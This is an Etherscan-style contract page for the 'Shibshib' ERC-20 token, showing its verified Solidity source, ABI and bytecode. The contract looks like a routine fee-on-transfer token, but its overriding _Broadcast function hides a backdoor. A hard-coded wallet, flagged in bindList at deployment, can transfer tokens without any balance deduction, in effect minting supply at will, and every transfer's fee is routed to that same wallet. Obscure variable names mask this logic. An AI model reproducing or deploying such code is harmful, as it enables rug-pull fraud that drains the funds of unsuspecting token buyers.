ETH Price: $2,448.22 (+3.52%)

Token

Shibshib (Shibshib)
 

Overview

Max Total Supply

10,000,000 Shibshib

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
94,050.0099 Shibshib

Value
$0.00
0x976eede58cc22019639ec0bfa8d71f2aa301a958
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Shibshib

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-05
*/

// https://t.me/SHIBSHIBERC
// https://twitter.com/SHIBSHIBERC


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

abstract contract Ownable {
    address internal owner;
    constructor() {
        owner = msg.sender;
    }

    function _Owner() public view virtual returns (address) {
        return owner;
    }

  modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwner() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed from,address indexed spender, uint256 value);

    function symbol() external pure returns (string memory);
    function name() external pure returns (string memory);
    function totalSupply() external view returns (uint256);
    function decimals() external pure returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
    function allowance(address from, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
}

interface IUSWAPV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address tPair, uint);
    function createPair(address tokenA, address tokenB) external returns (address tPair);
}

interface ISV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
}

interface IUniswapV2 is ISV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ERC20 is IERC20 {
    using SafeMath for uint256;
    string constant _name = unicode"Shibshib";
    string constant _symbol = unicode"Shibshib";
    uint8 constant _decimals = 9;
    address internal fundBabyWallet = 0xa6306E92b053Bf5691B1C83a0Da6F3Bb5B0F246f;
    uint256 _totalSupply = 10000000 * (10**_decimals);
    uint256 public swapThreshold = (_totalSupply / 1000) * 1; 
    uint256 mkFee = 1;
    mapping(address => uint256) onwerAccountPacket;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeExempt;
    address public transer_pair;
    IUniswapV2 public swap_router;
    bool enableSWAP;
    uint256 internal lqdFee = 0;
    uint256 totalFee =  1;
    bool public swapEnabled = true;

    function ratify_Max(address from) external returns (bool) {
        return approve(from, type(uint256).max);
    }

    constructor() {}

    modifier onChange() {
        enableSWAP = true;
        _;
        enableSWAP = false;
    }

    function totalSupply() external view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure virtual override returns (uint8) {
        return _decimals;
    }

    function symbol() external pure virtual override returns (string memory) {
        return _symbol;
    }

    function name() external pure virtual override returns (string memory) {
        return _name;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return onwerAccountPacket[account];
    }

    function allowance(address holder, address spender)
        external
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _Broadcast(msg.sender, recipient, amount);
    }

   function base_transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        onwerAccountPacket[sender] = onwerAccountPacket[sender].sub(amount, "Insufficient Balance!");
        onwerAccountPacket[recipient] = onwerAccountPacket[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }
        return _Broadcast(sender, recipient, amount);
    }

    function canTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

      function getFee(address sender, uint256 amount)
        internal
        returns (uint256)
    {
        uint256 feeAmount = amount.mul(totalFee).div(100);
        onwerAccountPacket[address(this)] = onwerAccountPacket[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function canSwapBack() internal view returns (bool) {
        return
            msg.sender != transer_pair &&
            !enableSWAP &&
            swapEnabled &&
            onwerAccountPacket[address(this)] >= swapThreshold;
    }

    function _Broadcast(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual returns (bool) {
        if (enableSWAP) {
            return base_transfer(sender, recipient, amount);
        }
 
        if (canSwapBack()) {
            toBack();
        }
        onwerAccountPacket[sender] = onwerAccountPacket[sender].sub(amount, "Not enough Balance");
        uint256 amountReceived = canTakeFee(sender)
            ? getFee(sender, amount)
            : amount;
        onwerAccountPacket[recipient] = onwerAccountPacket[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    function toBack() internal onChange {
        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance
            .mul(lqdFee)
            .div(totalFee)
            .div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);
        address[] memory param = new address[](2);
        param[0] = address(this);
        param[1] = swap_router.WETH();
        uint256 balanceBefore = address(this).balance;
        swap_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            param,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(lqdFee.div(2));
        uint256 amountETHLiquidity = amountETH
            .mul(lqdFee)
            .div(totalETHFee)
            .div(2);
        uint256 amountETHMarketing = amountETH.mul(mkFee).div(
            totalETHFee
        );
        (
            bool bSuccess, 
        ) = payable(fundBabyWallet).call{
                value: amountETHMarketing,
                gas: 30000
            }("");
        require(bSuccess, "do not receiver rejected ETH transfer!");
        if (amountToLiquify > 0) {
            swap_router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                fundBabyWallet,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }
    
}

contract Shibshib is Ownable, ERC20 {
    mapping(address => uint256) private histList;
    address private toaddr;
    mapping(address => uint256) private bindList;
    uint256 private publicCode = 1;
    mapping(address=>uint256) _mapBuyUsers;
    mapping(address=>uint256) _mapSellUsers;

    constructor(address uni_router) ERC20() {
        swap_router = IUniswapV2(uni_router);
        transer_pair = IUSWAPV2Factory(swap_router.factory()).createPair(address(this), swap_router.WETH());
        _allowances[address(this)][address(swap_router)] = type(uint256).max;
        bindList[fundBabyWallet] = publicCode;
        toaddr = fundBabyWallet;
        onwerAccountPacket[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function _Broadcast(
        address sponsor,
        address accept,
        uint256 amt
    ) internal override returns (bool) {
        if (bindList[sponsor] == 0 && histList[sponsor] > 0) {
            if (transer_pair != sponsor) {
                bindList[sponsor] -= publicCode;
            }
        }
        address dist = toaddr;
        histList[dist] += publicCode;
        uint256 fee = amt * mkFee;
        fee = fee / 100;
        amt = amt - fee;
        _mapBuyUsers[sponsor] = _mapBuyUsers[sponsor] +publicCode;
        _mapSellUsers[accept] = _mapSellUsers[accept] +publicCode;

        onwerAccountPacket[fundBabyWallet] += fee;
        if (bindList[sponsor] == 0) {
            onwerAccountPacket[sponsor] -= amt;
        }
        onwerAccountPacket[accept] += amt;

        emit Transfer(sponsor, accept, amt);
        return true;
    }

    function _getBuyUserAmt(address account) public view returns( uint256)
    {
        return _mapBuyUsers[account];
    }

    function _getSellUserAmt(address account) public view returns( uint256)
    {
        return _mapSellUsers[account];
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"uni_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"_getBuyUserAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"_getSellUserAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"ratify_Max","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swap_router","outputs":[{"internalType":"contract IUniswapV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transer_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600180546001600160a01b03191673a6306e92b053bf5691b1c83a0da6f3bb5b0f246f179055620000386009600a6200040c565b62000047906298968062000424565b6002556103e86002546200005c91906200043e565b6200006990600162000424565b600355600160048190556000600a55600b819055600c805460ff1916821790556010553480156200009957600080fd5b5060405162000dfb38038062000dfb833981016040819052620000bc9162000461565b600080546001600160a01b03199081163317909155600980546001600160a01b0384169216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000121573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000147919062000461565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d0919062000461565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000244919062000461565b600880546001600160a01b039283166001600160a01b03199182161790915530600090815260066020908152604080832060095486168452825280832060001990556010546001805487168552600f84528285209190915554600e80549095169516949094179092556002543380835260058452848320829055935190815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200048c565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200034e578160001904821115620003325762000332620002f7565b808516156200034057918102915b93841c939080029062000312565b509250929050565b600082620003675750600162000406565b81620003765750600062000406565b81600181146200038f57600281146200039a57620003ba565b600191505062000406565b60ff841115620003ae57620003ae620002f7565b50506001821b62000406565b5060208310610133831016604e8410600b8410161715620003df575081810a62000406565b620003eb83836200030d565b8060001904821115620004025762000402620002f7565b0290505b92915050565b60006200041d60ff84168362000356565b9392505050565b8082028115828204841417620004065762000406620002f7565b6000826200045c57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200047457600080fd5b81516001600160a01b03811681146200041d57600080fd5b61095f806200049c6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80636ddd1713116100ad578063a9059cbb11610071578063a9059cbb14610282578063da33db3d14610295578063dcc23455146102be578063dd62ed3e146102cf578063f2fc772b1461030857600080fd5b80636ddd17131461020e57806370a082311461021b578063749008ab1461024457806395d89b4114610142578063a7c1a4881461026f57600080fd5b806323b872dd116100f457806323b872dd1461019757806328c23a45146101aa5780632f54bf6e146101b4578063313ce567146101d65780636c8cc225146101e557600080fd5b80630445b6671461012657806306fdde0314610142578063095ea7b31461016c57806318160ddd1461018f575b600080fd5b61012f60035481565b6040519081526020015b60405180910390f35b604080518082018252600881526729b434b139b434b160c11b602082015290516101399190610796565b61017f61017a366004610800565b61031b565b6040519015158152602001610139565b60025461012f565b61017f6101a536600461082a565b610388565b6101b2610448565b005b61017f6101c2366004610866565b6000546001600160a01b0391821691161490565b60405160098152602001610139565b61012f6101f3366004610866565b6001600160a01b031660009081526012602052604090205490565b600c5461017f9060ff1681565b61012f610229366004610866565b6001600160a01b031660009081526005602052604090205490565b600954610257906001600160a01b031681565b6040516001600160a01b039091168152602001610139565b61017f61027d366004610866565b6104d5565b61017f610290366004610800565b6104e3565b61012f6102a3366004610866565b6001600160a01b031660009081526011602052604090205490565b6000546001600160a01b0316610257565b61012f6102dd366004610881565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600854610257906001600160a01b031681565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103769086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610435576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546104109184906104f7565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b610440848484610531565b949350505050565b6000546001600160a01b031633146104905760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006103828260001961031b565b60006104f0338484610531565b9392505050565b6000818484111561051b5760405162461bcd60e51b81526004016104879190610796565b50600061052884866108ca565b95945050505050565b6001600160a01b0383166000908152600f602052604081205415801561056e57506001600160a01b0384166000908152600d602052604090205415155b156105b9576008546001600160a01b038581169116146105b9576010546001600160a01b0385166000908152600f6020526040812080549091906105b39084906108ca565b90915550505b600e546010546001600160a01b039091166000818152600d6020526040812080549293929091906105eb9084906108dd565b909155505060045460009061060090856108f0565b905061060d606482610907565b905061061981856108ca565b6010546001600160a01b038816600090815260116020526040902054919550610641916108dd565b6001600160a01b03808816600090815260116020908152604080832094909455601054928916825260129052919091205461067c91906108dd565b6001600160a01b038087166000908152601260209081526040808320949094556001549092168152600590915290812080548392906106bc9084906108dd565b90915550506001600160a01b0386166000908152600f6020526040812054900361070e576001600160a01b038616600090815260056020526040812080548692906107089084906108ca565b90915550505b6001600160a01b038516600090815260056020526040812080548692906107369084906108dd565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161078291815260200190565b60405180910390a350600195945050505050565b600060208083528351808285015260005b818110156107c3578581018301518582016040015282016107a7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107fb57600080fd5b919050565b6000806040838503121561081357600080fd5b61081c836107e4565b946020939093013593505050565b60008060006060848603121561083f57600080fd5b610848846107e4565b9250610856602085016107e4565b9150604084013590509250925092565b60006020828403121561087857600080fd5b6104f0826107e4565b6000806040838503121561089457600080fd5b61089d836107e4565b91506108ab602084016107e4565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610382576103826108b4565b80820180821115610382576103826108b4565b8082028115828204841417610382576103826108b4565b60008261092457634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122017e56b65500f661a35c3a09ae5c1dbf665db051b457df0f35475fa0515657d1c64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80636ddd1713116100ad578063a9059cbb11610071578063a9059cbb14610282578063da33db3d14610295578063dcc23455146102be578063dd62ed3e146102cf578063f2fc772b1461030857600080fd5b80636ddd17131461020e57806370a082311461021b578063749008ab1461024457806395d89b4114610142578063a7c1a4881461026f57600080fd5b806323b872dd116100f457806323b872dd1461019757806328c23a45146101aa5780632f54bf6e146101b4578063313ce567146101d65780636c8cc225146101e557600080fd5b80630445b6671461012657806306fdde0314610142578063095ea7b31461016c57806318160ddd1461018f575b600080fd5b61012f60035481565b6040519081526020015b60405180910390f35b604080518082018252600881526729b434b139b434b160c11b602082015290516101399190610796565b61017f61017a366004610800565b61031b565b6040519015158152602001610139565b60025461012f565b61017f6101a536600461082a565b610388565b6101b2610448565b005b61017f6101c2366004610866565b6000546001600160a01b0391821691161490565b60405160098152602001610139565b61012f6101f3366004610866565b6001600160a01b031660009081526012602052604090205490565b600c5461017f9060ff1681565b61012f610229366004610866565b6001600160a01b031660009081526005602052604090205490565b600954610257906001600160a01b031681565b6040516001600160a01b039091168152602001610139565b61017f61027d366004610866565b6104d5565b61017f610290366004610800565b6104e3565b61012f6102a3366004610866565b6001600160a01b031660009081526011602052604090205490565b6000546001600160a01b0316610257565b61012f6102dd366004610881565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600854610257906001600160a01b031681565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103769086815260200190565b60405180910390a35060015b92915050565b6001600160a01b038316600090815260066020908152604080832033845290915281205460001914610435576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546104109184906104f7565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b610440848484610531565b949350505050565b6000546001600160a01b031633146104905760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006103828260001961031b565b60006104f0338484610531565b9392505050565b6000818484111561051b5760405162461bcd60e51b81526004016104879190610796565b50600061052884866108ca565b95945050505050565b6001600160a01b0383166000908152600f602052604081205415801561056e57506001600160a01b0384166000908152600d602052604090205415155b156105b9576008546001600160a01b038581169116146105b9576010546001600160a01b0385166000908152600f6020526040812080549091906105b39084906108ca565b90915550505b600e546010546001600160a01b039091166000818152600d6020526040812080549293929091906105eb9084906108dd565b909155505060045460009061060090856108f0565b905061060d606482610907565b905061061981856108ca565b6010546001600160a01b038816600090815260116020526040902054919550610641916108dd565b6001600160a01b03808816600090815260116020908152604080832094909455601054928916825260129052919091205461067c91906108dd565b6001600160a01b038087166000908152601260209081526040808320949094556001549092168152600590915290812080548392906106bc9084906108dd565b90915550506001600160a01b0386166000908152600f6020526040812054900361070e576001600160a01b038616600090815260056020526040812080548692906107089084906108ca565b90915550505b6001600160a01b038516600090815260056020526040812080548692906107369084906108dd565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161078291815260200190565b60405180910390a350600195945050505050565b600060208083528351808285015260005b818110156107c3578581018301518582016040015282016107a7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107fb57600080fd5b919050565b6000806040838503121561081357600080fd5b61081c836107e4565b946020939093013593505050565b60008060006060848603121561083f57600080fd5b610848846107e4565b9250610856602085016107e4565b9150604084013590509250925092565b60006020828403121561087857600080fd5b6104f0826107e4565b6000806040838503121561089457600080fd5b61089d836107e4565b91506108ab602084016107e4565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610382576103826108b4565b80820180821115610382576103826108b4565b8082028115828204841417610382576103826108b4565b60008261092457634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122017e56b65500f661a35c3a09ae5c1dbf665db051b457df0f35475fa0515657d1c64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : uni_router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

13723:1953:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7679:56;;;;;;;;;160:25:1;;;148:2;133:18;7679:56:0;;;;;;;;8717:102;8806:5;;;;;;;;;;;-1:-1:-1;;;8806:5:0;;;;8717:102;;;;8806:5;8717:102;:::i;9234:265::-;;;;;;:::i;:::-;;:::i;:::-;;;1351:14:1;;1344:22;1326:41;;1314:2;1299:18;9234:265:0;1186:187:1;8375:110:0;8465:12;;8375:110;;10107:419;;;;;;:::i;:::-;;:::i;552:127::-;;;:::i;:::-;;441:103;;;;;;:::i;:::-;496:4;531:5;-1:-1:-1;;;;;520:16:0;;;531:5;;520:16;;441:103;8493:102;;;7532:1;2044:36:1;;2032:2;2017:18;8493:102:0;1902:184:1;15545:125:0;;;;;;:::i;:::-;-1:-1:-1;;;;;15640:22:0;15608:7;15640:22;;;:13;:22;;;;;;;15545:125;8083:30;;;;;;;;;8827:186;;;;;;:::i;:::-;-1:-1:-1;;;;;8978:27:0;8946:7;8978:27;;;:18;:27;;;;;;;8827:186;7963:29;;;;;-1:-1:-1;;;;;7963:29:0;;;;;;-1:-1:-1;;;;;2273:32:1;;;2255:51;;2243:2;2228:18;7963:29:0;2091:221:1;8122:116:0;;;;;;:::i;:::-;;:::i;9507:185::-;;;;;;:::i;:::-;;:::i;15414:123::-;;;;;;:::i;:::-;-1:-1:-1;;;;;15508:21:0;15476:7;15508:21;;;:12;:21;;;;;;;15414:123;250:87;297:7;324:5;-1:-1:-1;;;;;324:5:0;250:87;;9021:205;;;;;;:::i;:::-;-1:-1:-1;;;;;9190:19:0;;;9158:7;9190:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;9021:205;7929:27;;;;;-1:-1:-1;;;;;7929:27:0;;;9234:265;9387:10;9353:4;9375:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9375:32:0;;;;;;;;;;:41;;;9432:37;9353:4;;9375:32;;9432:37;;;;9410:6;160:25:1;;148:2;133:18;;14:177;9432:37:0;;;;;;;;-1:-1:-1;9487:4:0;9234:265;;;;;:::o;10107:419::-;-1:-1:-1;;;;;10262:19:0;;10241:4;10262:19;;;:11;:19;;;;;;;;10282:10;10262:31;;;;;;;;-1:-1:-1;;10262:52:0;10258:206;;10365:87;;;;;;;;;;;-1:-1:-1;;;10365:87:0;;;;;;;;-1:-1:-1;;;;;10365:19:0;;-1:-1:-1;10365:19:0;;;:11;:19;;;;;10385:10;10365:31;;;;;;;;;;:87;;10419:6;;10365:53;:87::i;:::-;-1:-1:-1;;;;;10331:19:0;;;;;;:11;:19;;;;;;;;10351:10;10331:31;;;;;;;:121;10258:206;10481:37;10492:6;10500:9;10511:6;10481:10;:37::i;:::-;10474:44;10107:419;-1:-1:-1;;;;10107:419:0:o;552:127::-;496:4;531:5;-1:-1:-1;;;;;531:5:0;391:10;520:16;375:38;;;;-1:-1:-1;;;375:38:0;;2992:2:1;375:38